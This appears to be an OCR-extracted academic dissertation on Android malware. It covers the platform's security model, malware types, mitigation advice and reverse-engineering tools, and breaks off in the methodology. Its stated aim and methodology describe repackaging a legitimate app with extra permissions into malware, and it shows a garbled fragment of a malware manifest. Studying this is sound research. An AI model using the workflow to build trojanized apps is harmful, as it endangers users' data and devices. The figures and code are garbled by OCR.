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Abstract

Smartphones have been a vulnerable target for malware since June 2004. The number of
infected applications steadily increased until certain security measures like application
signing and validation of developers was introduced. Android phones are one such
smartphones that were and continue to be a prime target for hackers.

The main objective of this project is divided into two parts. First, the actual working of a
malware is scrutinized in order to understand its effects and functioning. Second, reverse
engineering technique is used in order to tweak the files and renovate a legitimate application
into a malware.

The reverse engineering tools used are ApkTool, Dex2Jar, Notepad++, JD-GUI, etc. First a
malware is disassembled and its source code is scrutinized to find the malicious code.
Secondly, a legitimate application is disassembled and the AndroidManifest.xml file is
altered to add more permissions and it is then repackaged. The new or altered application is
then signed using a self-signed certificate and installed on the Android Emulator in order to
test if the changes are reflected.

In this project we also revisit the various malwares existing, the architecture and security
model of Android, the reverse engineering tools and the ways of mitigating malware on
Android devices.
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Introduction

Smartphones have gained tremendous popularity over the last few years. In this growing
market of smartphones, Android, an open source platform of Google has become one of the
most popular Operating Systems. Android is mainly used in smartphones and tablets (1).

Smartphones are accepted and admired by many mainly because they are capable of
providing services such as banking, social networking, etc all on the go. They are equipped
with several features such as Wi-Fi, voice, data, GPS, etc (2).

It is believed by experts that Android is going to be more popular by 2012 than its rivals such
as iPhone and Blackberry (29).

2012 Smartphone Market Share

B Symbian

B Android

I iPhone

W Windows Phone
M BlackBerry

M Linux

B webOS

Fig 1 — Market Share of Smartphones in 2012 (29)

There are a number of factors that will help Android achieve this, the main reason being
Google’s support. Another major factor is that over 50 mobile phone companies will
manufacture smartphones with Android operating system. As per Gartner, in 2012, Android’s
market share would rise by 14 percent. The chart in support of the previous statement is as

below (29).
Platform Market Share — 2012

2012 Preliminary Forecast— 522 Million Units
Platform | Unit Sales( M) | Share Sharel Differencelliieadd
2009
Symbian 203.58 39.0% 49.3% -10.3%
Android 75.68 14.5% 1.6% +129%
iPhone OS 7151 13.7% 10.8% +2.9%
Windows
Mobile 66.82 12.8% 10.3% +2.5%
RIM OS 65.25 12.5% 19.9% -7.4%
Linux 28.18 5.4% 7.0% -1.6%
webOS 1096 21% 0% +2.1% Gartner

Fig 2 — Platform Market Share in 2012 (29)
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The sudden increase in smartphone applications causes concern in terms of user security.
Smartphones have become a very soft and vulnerable target for malicious application
developers. Android has gained popularity mainly because it is an open source operating
system and it has some basic features such as middleware in the form of virtual machines,
system utilities and a few core applications such as calculator, browser, etc (3).

The android architecture is made up of the following four layers (3):-

e A Linux Kernel that supports multiprocesses and multithreads. Every application has
its own Linux ID and runs in a separate process. Two applications with the same ID
can exchange data between them.

e Some Open source libraries.

e Android run-time environment, wherein a Dalvik Virtual Machine runs an
applications in the dex binary format.

e An application framework that possesses a Java interface. This layer consists of the
Android NDK and SDK.

e Some pre-installed core applications.

The android security model is based on a permission and sandbox mechanism. Each
application runs in its own Dalvik Virtual Machine with a unique ID assigned to them. This
prevents an application from hampering information/data of another application. The
architecture and security model are discussed in greater detail in the next section.

Although Android is most widely used, there exists a dearth of applications in order to
completely benefit from this operating system. Hence, third party application developers
create new applications and launch them in the Android Market. This gives users access to
thousands of applications; it is however important that the user needs to entirely trust the
applications before installing them. It is for this reason that every application publishes the
permissions that it requires during installation. The user can either grant all permissions or
deny all, in which case, the installation of the application is aborted (4).

In order to distribute these applications Google came up with Android Market. Here users can
access both paid and free applications. Every Android phone has this application and hence
users can browse and download any application they require from Android Market.

However, there have been many malicious applications published in Android Market. Hence
it becomes a necessity for Google to test each and every application and clean the Android
Market by eradicating malwares. It is also important to see to it that the loopholes and bugs of
current applications are not exploited by hackers. Among various attacks, phishing, insecure
http connections, usage of local data, etc are most common (2).

There are different kinds of threats that have emerged in the recent years. They can be
broadly classified as Application Based, Network Based and Web Based Threals. The
malwares and spywares are rapidly increasing and are currently targeting Android. The
diagram below gives a vague idea of the increase in malware in just six months (14).
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Jan 2011 June 2011

Fig 3 — Distribution of Spyware vs Malware (14)

Based on malwares that were published, the below diagram was designed indicating the
number of malwares and their effects (6).

Smartphone Malware Effects

Count

Fig 4 — Smartphone Malware Effects (5)

It is evident from the graph above that most malwares were successful at manipulating files
and disabling other applications. In case of Android, the applications are published on
Android Market which is one place where a user can surf and download applications.
Attackers usually tamper with applications and republish them. Users download these

applications without knowing that they are not original and the malware thus gets installed on
the device.

One way in which an attacker can entice users to download the malicious software is by
repackaging applications using reverse engineering tools. The attacker changes the code in
order to incorporate the malicious code and repackages the application and publishes them in
the app market. Users usually cannot differentiate between the malware application and the
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legitimate application and thereby end up installing the malware. The diagram below depicts
this (14).

Developer uploads
2 game to Andreid
Viarket.
User downloads game
with malware
Malicicus Developer ¢
A~ 4 uploads game to 3rd 3
Android party app store.
Market 1
[
|
End User

€. Send location

" » Send contact info
] « Send and read SMS messages
| + place phone calls

S

22 « Silently download files
Vialicious M pRNa i AR
DEM‘E:C";E .}: .‘ web owse

« And more...

Malicious Developer can control
6 the phane remotely and access

users' private information.

Fig 5 — Repackaging Applications Process (14)

In this project we use reverse engineering technique in order to study the exact working of a
malware named iCalendar. We use another application called Seesmic and apply the reverse
engineering technique to alter files and repackage it and thereby converting a perfectly
harmless application into a malware.

Reverse Engineering is a process with the aid of which we can discover and understand the
complete working of an application by learning its operation, structure and functions. In this
project the tools we use for reverse engineering are, ApkTool, Dex2Jar, JD-GUI, Notepad++
and Android SDK. The details of each of these tools and the entire procedure of reverse
engineering are discussed in Methodology.

In order to reduce the risk of a user being a victim of a malicious application there are a few
responsibilities of both the developers as well as the users. Every user must check the
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permissions requested by an application before installing it blindly. It is also the application
developer’s responsibility not to leave any loopholes that can be easily exploited by a hacker.
This also involves application signing which will be discussed in detail in the next section.
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Literature review

William Enck, Machigar Ongtang and Patrick McDaniel have stated that,

“The next generation of open operating systems won'’t be on desktops or mainframes but on
the small mobile devices we carry every day”. (30)

Such operating systems will be responsible for the introduction of new markets and
applications due to their openness. This will enable superior amalgamation with the existing
services (30).

One such open source operating system that has attained a great deal of importance and
popularity in the mobile phone world is Android. This operating system is powered by
Google and study has shown that it has now become the world’s second most popular
operating system (30).

The most attractive feature of Android is that it provides an open platform for developers to
create their own applications. Android provides an SDK and NDK for the developers to
create various applications unlike the Apple iphone applications that need to be downloaded
from the Apple Appstore (30).

The openness of this operating system is both an advantage as well as a disadvantage.
Android allows developers to easily publish their application but it also allows for the
publication of malicious applications (30).

Android Architecture

APPLICATIONS
Contacts Phone Browser

Window Content

Activity Manager Manager Providers

Telephony Resource Location Notification

Package Manager Manager IMEDET-g Manager IMELET-

LIBRARIES ANDROID RUNTIME

Surface Manager Media SQlLite Core Libraries
Framework

OpenGL | ES FreeType WebKit P:achim:

SGL SSL libc

LinNnuX KERNEL

Display
Driver

Flash Memory Binder (IPC)

mer river
Camera Drive Driver Driver

Keypad Driver WiFi Driver S\rlij\?elss Marf:?;:!:ent

Fig 6 Architecture of Android Operating System (31)
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Let us now discuss the architecture of Android. It is basically a software stack that contains
three components, namely, Middleware, Operating System and Key Applications. Its

features include (29):-

e Bluetooth, EDGE, WiFi and 3G.
e SQLite for structured data storage.

e Application Framework
e Dalvik Virtual Machine, etc.

Android architecture consists of the following:-

e Application (29):- Android phones usually come with some default applications such
as email client, browser, calendar, SMS, maps, etc. The applications are programmed

using Java.

e Application Framework (29):- Android developers are offered the utilization of

information of access location, set alarms, device hardware, run background services,
etc. Android developers also have access to the framework APIs that is also used by
the core applications. Reuse of components is exercised by the application
architecture design.

All applications have a set of systems and services underlying them:-

>

>

Views:- These are used to build applications, such as, text boxes, grids,
buttons, and also a web browser that is embedded.

Content Providers:- These allow applications to share their own data and to
access information from other applications.

Resource Manager:- This provides access to resources (non-code) such as
graphics, layout files and localized strings.

Notification Manager:- Custom alerts are displayed on the status bar using a
notification manager.
Activity Manager:- It provides a common navigation backstack and it also

deals with the lifecycle of an application.

e Libraries (29):- Android is equipped with a set of C/C++ libraries that is used by
several components of the system. These libraries are provided to the developers
through the Android Application Framework.

Some of the core libraries along with their functionality is shown below:-

>

>

System C Library:- It is used for embedded Linux-based devices. It is a BSD-
derived implementation of the C system Library libc.

Media Libraries:- These libraries basically support recording of audio and
video formats, playback and static image files, such as, JPG, AMR, MP3,
PNG, AAC, MPEG4 and H.264.
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» SGL:- This comprises the 2D graphics engine.

» SQLite:- This is a relational database engine that is accessible to all
applications.

» Surface Manager:- it controls the access to the 2D and 3D graphics layers
from various applications and to the display subsystem.

e Android Runtime (29):- Android has some core libraries that offer most
functionalities that are also available in the core libraries of the Java programming
language. All android applications run in their own processes with their own instances
of the DVM (Dalvik Virtual Machine). Dalvik allows a device to run several virtual
machines efficiently. DVM executes files in the .dex format. The DVM is dependent
on the Linux kernel for underlying functionalities such as low-level memory
management and threading.

e Linux_Kernel (29):- Android services, like process management, driver model,

memory management, security and network security, of the core system depends on
Linux version 2.6. The kernel also behaves as a layer of abstraction between the
software stack and the hardware.

Android applications are mainly developed using JAVA programming language; however,
there are some applications that can be developed in C/C++ (using Android NDK). An
android package consists of the compiled java code and any resource and data files required
by the application (31).

An android application comprises of several components that use Intent messages to
communicate with one another. These components are summarized below (4):-

e Activity:- It is the visual interface that is utilized by the user in order to process
actions.

e Broadcast Receiver:- This component receives and reacts to broadcast
announcements/messages by intiating an Activity. It has no user interface.

e Service:- This component has no user interface, but runs in the background for an
imprecise period of time.

e Content Provider:- In order for an application to make data available to other
applications, it makes use of a content provider that is a type of database SQL

Querying a Content Provider

Database).
P A s e Loy S | SESisss e A R R :
: start % start/stop/ding ¥ ReadWrte |
| ' ) ¢ 0“"” '
:(A:r.t-J/\‘ Activit )I: cal ¢ —— |
- A | . i Actvity .
! ' LU | ]
: e | : [ ¥ mium :
| i callback ® .
' LI | |

Fig 7 - ICC between the different components (4)
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According to Security Engineering Research Group, a Reference Monitor is one of the
most important components in Android (access control) that helps in Inter Component
Communication (ICC). Every component in an application is allocated various
permission labels which are utilized for interacting with components of other
applications. In order to initiate ICC, the application first checks the label of permissions;
if the target component’s label is present in that collection of permissions, ICC initiation
is permitted to carry on else it is denied (4).

The research group is of the opinion that this ICC mechanism is based on Intents; which
is a mechanism for passing messages which also includes the kind/type of action to be
carried out. The Intent messages can be either sent to a particular component or broadcast
to the Android framework which will then forward the message to the appropriate
component. Action strings, that specify the type of task to be preformed, help in
specifying the intents. Based on the action strings, the Android system then takes a
decision as to which component is best to carry out the essential task (4).

The AndroidManifest.xml file contains all the permissions and metadata related to the
security enforcement policy. The tag <Permission> indicates the components that can
access it and <Intent-Filters> tag is used to indicate the intents that can be resolved (4).

Android Security model

The android security model is designed such that no application is given the permission to
carry out any operation that can badly affect other applications, the user or the operating
system. Each application runs in its own process and hence Android is considered to be a
multi-process system. Linux facilities such as group and user IDs are assigned to applications
which impose security between the system and the applications at the process level.
Additional security is provided using the “permissions” mechanism that grant each process to
perform certain operations only and also provides “per-URI permission” that give improvised
access rights to certain information only (31).

Sandbox and Permission mechanism is said to be the base of the Android Security Model. It
is known that each application’s code runs in a particular Dalvik Virtual Machine which has a
specific user ID assigned to it. Each application runs in isolation from the other applications
and hence any application has no access to another application’s files (31).

( Browser App

4 Facebook App Twitter App
9 & ;
LI Dalvik VM Dalvik VM
uID: 1000
UID: 1001 UiD: 1002
-
System Process ]

\_ UID: System

Fig 8 - Android Security Model (31)
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Author Jesse Burns states that,

“Android supports building applications that use phone features while protecting users by
minimizing the consequences of bugs and malicious software. Android’s process isolation
obviates the need for complicated policy configuration files for sandboxes. This gives
applications the flexibility to use native code without compromising Android’s security or
granting the application additional rights’. (6)

As per Lukas Jeter, Meenakshi Mani and Tia Reinschmidt, every android application has to
be signed with a certificate whose private key is known to the owner of the application only.
This allows the author of the application to be identified if necessary. When an application is
installed in the phone it is assigned a unique Linux user ID, thereby avoiding it from affecting
other applications by creating a sandbox for it. This user ID is permanent on that device and
applications having the same user ID are allowed to run in a single process. This is one way
of ensuring that a malicious application cannot access/compromise the data of genuine
application (9).

It is obligatory for an application to list all the resources it will access during installation. The
permissions that is requested by an application, during install time, are approved by user
interaction or/and based on checks alongside the signatures of the application (9).

The three authors say that Android permissions are needed at various stages in the life span of
an application, namely, (9)

e At the time of a system call in order to prevent the application from performing
specific functions that is undesirable.

e The beginning of an activity in order to avoid applications from initiating activities of
other applications.

e Permissions to manage who can send and receive a broadcast message from you.

¢ Binding or beginning of a service.

e In order to access and operate on a content provider.

Kamran Habib Khan & Mir Nauman Tahir indicate that there are four levels of security
provided by Android, namely, (4)

e Normal:- In this case no permission is required by the user, hence normal permissions
are granted to the application.

e Dangerous:- These permissions are requested by an application for approval by user
during installation. The user can either accept all permissions or deny all. The denial
of permissions will terminate the installation.

e Signature:- These permissions are acknowledged by the system provided the granting
and the requesting application have the same certificate.

e Signature System:- This is similar to Signature but applicable to system applications
only.
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The numerous built-in security methods of Android make it secure only as long as it is
handled by responsible users who understands the repercussions of the several permissions
requested by various applications. However, the challenge has been to enforce more security
without limiting the freedom to the user.

Android Malware and Security Issues

Mobile phones have become a soft target for cyber-criminals. Mobile phones contain an
enormous amount of data from personal contacts to emails and it is also possible to carry out
all types of transactions online (10).

A malware is any malicious code or piece of software that is designed to perform functions
without the consent of the user. Joanna Rutkowska also agrees with the above definition and
has defined malware as,

“Malware is a piece of code which changes the behavior of either the operating system
kernel or some security sensitive applications, without a user consent and in such a way that
it is then impossible to detect those changes using a documented features of the operating
system or the application”.(12)

Troy Vennon a GTC Engineer at Smobile Systems has stated that malware is categorized
based on what the malware actually does once it has infected a system. There are hence four
types of malware categorized by Troy Vennon, namely, (8)

e Virus:- A virus is defined as a destructive or malicious program that lacks the capacity
to self-reproduce.

e Worm:- This is a malicious code that can control a system vulnerability or a network
in order to automatically duplicate to another system.

e Trojan:- A Trojan allows an attacker to obtain unauthorized access or remote access
to a system while it appears to be executing a required operation.

e Spyware:- This destructive application conceals itself from the user while it collects
information about the user without the user’s permission.

Authors Kamran Habib Khan & Mir Nauman Tahir have categorized the attacks on mobile
phones as below (4):-

e Ad-ware:- This category includes the advertisements on cell phones that are in reality
malwares.

e Direct Payoff:- This category consists of malwares that send SMS without the consent
of the user.

e Destructive:- An example of these kinds of attacks is erasure of phonebook entries
without the user’s knowledge.

e Information Scavengers:- This category includes the checking of cookies, address
books and passwords without the user’s consent.

e Premeditated Spyware:- This represents remote listening and location tracking.
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e Proof of Concept:- This category consists of malwares/spywares that for example
leave the Bluetooth device on without the user’s consent which drains the device
batteries.

Authors Lukas Jeter, Meenakshi Mani and Tia Reinschmidt have also commented on the type
of attacks that can be performed on Android phones. They sate that,

“The types of attacks delivered by smart phone malware are as varied as the devices
themselves’. (9)

Some of the malwares have not caused any harm and they appear to be just proof of concept
tests; however, there have been some malwares that have caused undesirable and unexpected
problems like abnormal battery drain or localized denial of service, etc. There exists more
software that tries to steal data or services on the phone. Another type of malware is a
Spyware which can access microphones, cameras and built-in GPS receivers to send data
back to the attackers. Adware is another type of malware that utilizes the existing
communication channels like Email, IM, MMS, Bluetooth or SMS, to transmit unwanted

advertisements to random numbers or to people in the surrounding area or in one’s phone
book (9).

There have been a number of attempts to infiltrate malware into applications for Android; the
only reason being Android is open source. There have been numerous malwares developed
on Android platform. CNCCS have graphically represented the time and evolution of
spyware in Smartphones (10).

Fig 9 - Timeline of malwares in Smartphones (10)

16
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CNCCS talk about the malware Droid09 that penetrated the Android market in November
2009. This application appeared to be a useful one for managing online bank transaction of
users; however, it allowed the attacker to gain access to the user’s account details with which
he could make online transactions. Another application that was in reality a spyware was the
Android. Fakeplayer which was discovered at the end of 2010. It posed to be a legitimate
video player but started sending SMS to premium numbers (10).

SMobile Systems also talk about malwares that they have detected and attempted to remove.
MobileSpy is a malware that was detected in November 2009. It offered the following
services to Android users, (8)

e GPS Location

e Websites accessed by the device

e Scrutinize SMS messages

e Manage/View the call details, outbound and inbound, etc.

This application is installed as “Retinax.Android” which runs in the background and there is
no icon available to the user that indicates either MobileSpy or Retinax.Android.

In November 2010 Jon Oberheide and Zach Lanier, two security researchers, discovered a
way to exploit the vulnerabilities or loop-holes of Android. The credentials service that is
used for applications to request for tokens of authorization was one such vulnerability that
they played with. They provided a fake application of Angry Birds game that enabled it to
download three more malicious applications from the Android Market. The three new
applications could hence be installed without asking for the user’s permission and they were
able to access sensitive data that was present in the phone (31).

There have been many other researchers who have developed malwares for Android to point
out the lack of security or the vulnerabilities that are present in Android. In November 2010,
the MWR InfoSecurity research head, NILS, showed a bug in Android browser that allows
the attacker to install malware on HTC Legend running the Android 2.1 OS. He realized that
the Android browser has the permission android.permission.INSTALL_PACKAGES that
updates the embedded Flash Lite Plugin. Hence, by providing a browser exploit it is likely to
install a malware on the device (31).

William Enck, Damien Octeau, Patrick McDaniel, and Swarat Chaudhuri have discussed, in
their paper, the Android specific vulnerabilities and have categorized them as below (13):-

e Information leaked to logs (13):- Centralized logging is provided by Android via the
Log API, that can be displayed using the “logcat” command. Applications with
permission READ LOGS can read the log messages. These logs, as per the
documentation provided by Android, must not contain the user’s personal information
but it can contain information on what is occurring on the device.
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Information leaked via IPC (13): - It is possible that intent broadcasts that do not

shield the broadcasts with permissions or does not indicate the target component can
be received by any application. It is therefore risky if the intent has any important
information.

Insecure Broadcast Receivers (13):- Broadcast receivers are used to obtain intent
messages. In order to subscribe to certain event types that are public, Broadcast
receivers define ““/ntent Filters. Therefore, if the receiver is not defended by
permissions, a harmful application can forge messages.

Intent Injection (13):- Intent messages are also used to begin service components and

activities. Intent injection attack takes place when the intent address is obtained from
an unknown input that cannot be trusted.

Delegation of Control (13):- It is possible for an application to allot control to another
application by using “Pending Intents”. These pending intents when received cannot
change values but can fill the missing fields, hence, if the intent address is missing,
then can retransmit a task that is executed using the original application’s
permissions.

Null checks on IPC input (13):- Applications recurrently process information from
intent messages that are obtained from other applications. Null dereferences can be
used for denial of service attack as they can cause an application to crash.

Usage of SDcard:- If an application has permission to READ and WRITE into an
SDcard, then they can access information of other applications that is stored on it.

Lookout Mobile Security has also classified mobile threats into three broad categories (14):-
Application Based Threats (14).-

Spyware:- These are intended to accumulate or make use of user’s data, such as, text
messages, phone contacts, etc, without approval from the user. These can be either
targeted, meaning, they can just observe the user or they can be untargeted wherein
they attempt to collect information from a large group of users.

Malware:- Malwares are designed to behave maliciously on a device by either by
stealing personal data of users and exploiting it in order to cause financial damage to
the user or grants an attacker remote access to the device or sends unwelcome
messages to all numbers on the contacts list, etc.

Privacy Threats:- This happens when applications are not malicious but apparently
access more sensitive data than required by it to perform its taks.

Vulnerable Applications:- Applications that possess a few vulnerabilities that can be
subjugated by an attacker can cause various damages such as automatically download
a malware without user’s knowledge.

Web Based Threats(14).-

Phishing Scams:- In this case the attacker utilizes user interfaces or web pages that are

devised to trap the user into giving away information such as his/her login credentials.
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e Browser Exploits:- These exploit the vulnerabilities in a web browser or an

application, such as, image viewer, PDF reader, etc, that needs to be launched via a
web browser. Just by visiting a web page, a user can activate a browser exploit that
can install malwares.

e Drive-By-Downloads:- Applications are automatically downloaded when the user
visits a web page. The applications thus downloaded either need to be opened or they
can start without the user’s intervention.

Network Based Threats(14).-

e Wi-Fi Sniffing:- This can tamper the data that is being transmitted from a device as
many web pages and applications do not have strict security measures. They do not
encrypt the data and hence it can be intercepted by a listener on an unsecure wireless
network.

e Network Exploits:- These exploit the software vulnerabilities present in the operating

system or software that deal with cellular or local networks. These exploits usually do
not require any intervention from the user hence they are considered to be most
dangerous.

Some of the security issues are highlighted by Lukas Jeter, Meenakshi Mani and Tia
Reinschmidt. The major security issue with respect to smartphones that are running on
Android OS is an immature or careless user installing malicious software or surrendering to
other attacks such as phishing. The second most important security issue is a legitimate
application that has vulnerabilities that can be exploited due to careless writing of the
program (9).

The authors also talk about how these malicious applications can be detected and notified to
the user. The Kirin technique is one method of recognizing probable dangerous
amalgamation of permissions without which a user is covered with caution for each
permission that is requested by an application at the time of installation. Another well known
method is the use of anti-virus software that exists for Android OS. The issue with anti-virus
software is that they depend on the user for correct usage and configuration. It takes about 48
hours for an anti-virus engine to discover a new malware (9).

In all the above scenarios it can be noticed that the user implicitly trusts the application
developer. The user trusts that the author of the application only intends to provide non-
malicious, useful applications to the user and has conducted tests and taken precautions such
that the application adheres to a satisfactory security standard. Hence we can conclude that
the user has some responsibility during installation of applications to check the permissions
requested by them and appropriately install or decline the application (9).
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Reverse Engineering

Reverse Engineering is a process of analysing an existing code or piece of software in order
to scrutinize the software for any vulnerability or any errors. Reverse engineering is the
ability to generate the source code from an executable. This technique is used to examine the
functioning of a program or to evade security mechanisms, etc. Reverse engineering can
therefore be stated as a method or process of modifying a program in order to make it behave
in a manner that the reverse engineer desires.

Joany Boutet has quoted Shwartz, saying,

“Whether it's rebuilding a car engine or diagramming a sentence, people can learn about
many things simply by taking them apart and putting them back together again. That, in a
nutshell, is the concept behind reverse-engineering - breaking something down in order to
understand it, build a copy or improve if’. (31)

From the beginning of 2009 research scientists began devising ways to reverse the Dalvik
Bytecode. Marc Schonefeld released his tool “wun1dx” in CanSecWest 2009. His tool could
generate a JAR file from an Android APK file, which could then be further converted to
JAVA using tools such as JAD and JD-GUIL Th “wundx’ tool worked well with basic
applications; however it posed many problems when dealing with complex Dalvik Bytecode.
The Dex2Jar tool originated then. Déx2Jar does similar job to unax; however this tool also
has some issues while dealing with complex Dalvik Bytecode (31).

Authors Bastiaan Wissingh and Thorben Kriiger are of the opinion that,

“The ideal approach for learning more about the possible functionality of an application
would be source code introspection”. (18)

The application, in its pre-compiled binary format, is distributed and hence it is not possible
to directly debug the source code. However, there are disassemblers that convert or reverse
the Dalvik Bytecode into readable format. The binaries for Dalvik Virtual Machines are in
the .dex format. Backsmali is a disassembler that is used for .dex files in Dalvik VM. If
programmers wish to alter the source code and repackage it, APKtool is used (18).

There are many programmers who have reversed various applications of Android in order to
study the vulnerabilities, if any, and to scrutinize the code.

Mitigation of Threats/Attacks

Malware in smartphones have been on the rise especially in the last few years. The graph
below shows the evolution of malwares along with their behaviour.
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Fig 10 — Evolution of Mobile Malware along with their Behaviour (5)

There exist many measures that can be incorporated in order to mitigate malware attacks on
Android.

Security Responsibilities of Developers (6):- Every developer needs to bear in mind
the security of the user’s data. As mentioned before, every application is assigned its
own UID; however it is possible for any program to request the Activity Manager to
start an application that runs with the UID of the application. Jesse Burns states that it
is for this reason that every application needs to be signed by the developer.

In Android, signing of applications is usually achieved by self-signed certificates. The
major reason for insisting on code signing is to allow developers to perform updates
to their existing applications. Different applications that are signed using the same key
can request to run with the same ID as they are developed by the same developer.
However it is important to note that this application signing does not validate the
developer’s actual identity. Hence developers cannot be trusted easily hence Android
should warnings and trusted signer rules in order to protect security.

User’s Security Responsibilities (15):- A user when installing applications needs to

grant access to the permissions requested by them. It is therefore very important for a
user to understand the permissions required by an application. There exist several
applications like Skype that needs many access to various data on the phone; but there
are a few applications like Wallpapers, Calendar, etc that require very few
permissions.

Robi Sen, an Analysis Director in Entity-X, summarizes a few permissions that every
user must be familiar with in order to recognise if it is safe for an application to access
them and if they are really necessary for the proper functioning of the application

(15).

Permission Risk Level Summary
1. Directly call | High — Moderate | This enables the applications
numbers. such as Google Voice and Skype
to make phone calls to 1-900
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numbers that will cost the user.

2.

Send SMS.

High — Moderate

Enables an application to send
messages to premium services on
behalf of the user. However,
some applications have a genuine
need of this permission.

Delete/Modify  SD
card contents.

High — Moderate

This will enable an application to
read, write or delete data that is
stored on SD card. The data can
be pictures, videos, or data
written by other applications.

Read Phone State
and ID.

Moderate

This is required by applications
such as games in order to pause
or execute some tasks when the
user receives a call. However,
there could be malicious software
that can obtain the phone’s UID,
IMEI and IMSI numbers. It can
also be utilized to keep watch on
the users or their calls.

Read Contact Data.

Moderate

The application can read the
user’s contact list and can be
used to send spam messages or
just keep track of the user’s
personal data. Legitimate
applications that require this
permission are messaging, social
networking, etc.

Find GPS Location.

Moderate — Low

This permission can enable an
application to track the location
of the wuser and to collect
information regarding the user
which he/she was not
comfortable providing.

Read,
Calendar Data.

Write

Moderate — Low

This permission does not pose
any major threats, although, it
may allow an application to
perform a targeted attack against
the user.

Full Internet Access.

High — Moderate

This is one of the most common
and dangerous permissions. This
permission is requested by all
application that support
advertisements, video games, etc.

Create Bluetooth

Connection

Low

Bluetooth is used to
communicate with peripherals.

10.

Coarse Location.

Low

This permission obtains the
location of a user with the aid of
cell towers and hence it 1s much
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less precise than GPS location.
Hence it does not pose any
harmful effects.

11. Prevent Phone from | Low Applications requesting for this

Sleeping. permission are usually games and
media players that prevent the
phone from entering the standby
mode.

Some of the other permissions include View Network, Wi-Fi State, Read Sync
Settings, Modify Global System Settings, Automatically Start at Boot, Restart Other
Applications, Set Preferred Applications, Retrieve Running Applications, Discover
Known Accounts, Take Pictures and Control Vibrator (15).

Install Antivirus (16):- As per an article written by Julie Knudson, installing antivirus
on the mobile phone, just as on a desktop, will help identify malwares and prevent a
user from installing them. There are several antivirus soft-wares available for Android

phones that help clean up malwares and protect the phone from the same.
Controlling Network Access (16):- Julie Knudson quotes Andrew Hoog who states
that it is important for companies to control the connection to network as attackers can

simply plug in an Android device to a system, thereby utilizing it as an alternate
network connection. This provides an easier route for an attacker to evade the
company’s firewalls, DLP Systems and the rules of Web Routing.

John Engels suggests that IT organizations should provide separate networks and
access controls to mobile devices that accesses their infrastructure and they also need
to ensure that all traffic passes through both DLP and Web Security.

Lookout Mobile Security has also suggested a few mitigation steps that can be adopted by the
users in order to keep their devices free of malwares (14).

The user should download applications from trusted and reputable sources or app
stores, such as Android Market for Android phones. The user should bear in mind to
check the reviews, star ratings and most importantly the developer’s name of an
application.

If asked to submit user’s login credentials, it is important to cross verify that the web
link address matches the website it is supposed to be.

A password should be set on the device in cases of theft so that it is complicated to
access data on the device.

Firmware updates for the device must be downloaded as and when they are available.
The user must always be alert with respect to any bizarre behaviour on the device
such as sudden decrease in battery life, odd text messages, additional charges to the
phone bill, etc. These could be an indication that the device is compromised.
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e User must download and install a security tool that will scan all applications
downloaded for spyware and malware and can additionally protect the device from
perilous websites.

These are a few ways in which we can reduce the probability of attacks on the device.
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Methodology

Reverse engineering is a process of analysing the possible functionalities of an application. In
order to analyse a malware there are two methods, namely, Static analysis and dynamic
analysis. The tools used for the same are discussed below.

Tools

Reverse engineering of android applications can be performed using various tools. In this
project we use two methods to analyse the malware code. The first method involves the
utilization of APKTOOL and an editor such as Notépad++. The second method is performed
using tools Déex2Jarand JD-GUI.

Let us consider each of these tools individually as below,

ApkTool

The APKTOOL is a 3™ party tool that is used to analyse closed Android application binaries.
Its features include (17):-

e This tool is capable of disassembling applications to practically original form and
repackaging them after certain modifications.

e [t also enables the user to debug the smali code.

e This tool can be utilized for adding some support or features for customer platforms
and localizing.

e It allows the user to work with the applications in an easier way as it provides
automation of some recurring tasks and project-like file structures.

Dex2Jar

It is known that each Android application executes with its own instance of the Dalvik
Virtual Machine. The DVM executes files in the .dex format or also known as the Dalvik
Executable format. The .dex format is considered to be a very proficient binary format of
machine instructions for the Dalvik Machine (18).

The main component and program logic of an Android application lies within the classes.dex
file which the user is unable to view. Hence Dex2Jar tool was developed in order to convert
.dex files into .class format. With the help of this tool it is now possible to view the source
code of an application as a java code (19).

Android SDK

The Android Software Development Kit (SDK) is a collection of development tools that are
used to create applications. The following components/tools are included in the SDK (20):-

e Debugger
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e Tutorials of the Android operating system

e An emulator

e Necessary libraries

e Sample source codes

e Appropriate documents for Android APIs (Application Program Interfaces)

Windows XP, Vista, 7, Linux and Mac OS X are platforms that are compatible with Android
SDK. The components of the SDK can be downloaded independently or 3 party additions
are also obtainable for downloads. As Google releases a new version of Android Operating
System, a new version of SDK is also released which contains the latest features (20).

Android SDK can be used to develop applications by writing programs in the command
prompt, however, it is more feasible and easy to use an Integrated Development Environment
(IDE). The IDEs that are compatible with Android SDK are Netbeans, Intelli], etc;
nevertheless, the most preferred IDE is Eclipse with ADT (Android Development Tools)
plug-in. As the programs are written in JAVA, the user should have also installed the Java
Development Kit (JDK) (20).

— TI— — B
o ok ane V0 e - —
"'l E\rics 5DK Location: C\Users\Vibha\Desktophandroid-sdk_r)9-windows\android-sdk-windows
alled packages
Available packages Installed packages i
Sotings Y Android SDK Tools, revision 11

¥ Android SDK Platform-tools, revision 5

i) Documentation for Android SDK, AP112, revision 1
SDK Platforrm Android 3.1, API12, revision 2
SDK Platform Android 3.0, API11, revision 1
SDK Platform Android Honeycomb Preview, revision 1 |
SDK Platform Android 2.3.1, API9, revision 2 i
SDK Platform Android 2.2, APIS, revision 2

db Samples for SDK APT12, revision 1

&SamplesfanDKAPIlL revision 1 |

m

.),}'. Samples for SDK APT Honeycomb Preview, revision 1

Description
Android 5DK Tools, revision 11

Notepad++

Notepad++ is an Integrated Development Kit (IDE) that is used to edit source code. It is a
free IDE that is written in C++which uses STL and pure Win32 APIs. This helps in faster
execution of programs and smaller program size. In this project we use Notepad++ in order to
view our application malware source code including the xml files (21).



Reverse Engineering of Malware on Android

i = B
Qf CA\UsersiVibhatDesktop\Vibha'\ DISSERTATIOM\TOOLS ICalendar acbcad45094de?e8ﬂbﬁ$ﬁdb1c2...@élg
e ——————————
File Edit 3Search ¥iew Encoeding Language Settings Macro Run  Plugins Window X
3l ey = = = b3
cHEE LI dDRioei a3 BRI 1EE
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1 <?xml wversion="1.0" encoding="ntf-§"37> -
2 <manifest android:versionCode="2" android:verszionName="2.0" package="c
3 xmlnz:android="http://=chemas.android. com/apk/res/android">
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6 = <intent-filter>
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B <category android:name="android.intent.category. LAUNCH
a - «/intent-filter>
10 7 <factivity>
11 E <receiver android:name=".Sm=Receliver" android:enabled="true">
2 —| <intent-filter android:priority="101":>
13 <action androldiname="android.provider.Telephony.SM5 R
14 o </intent-filter>
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WinZip

This tool is used to view archived files in an easier way. Archives are nothing but files

contained within other files and Zip file are the most familiar format of
the archived files will have a .zip extension (22).

Window

1§ 1
1-Click Unzip
Unzip

Eackup Tools

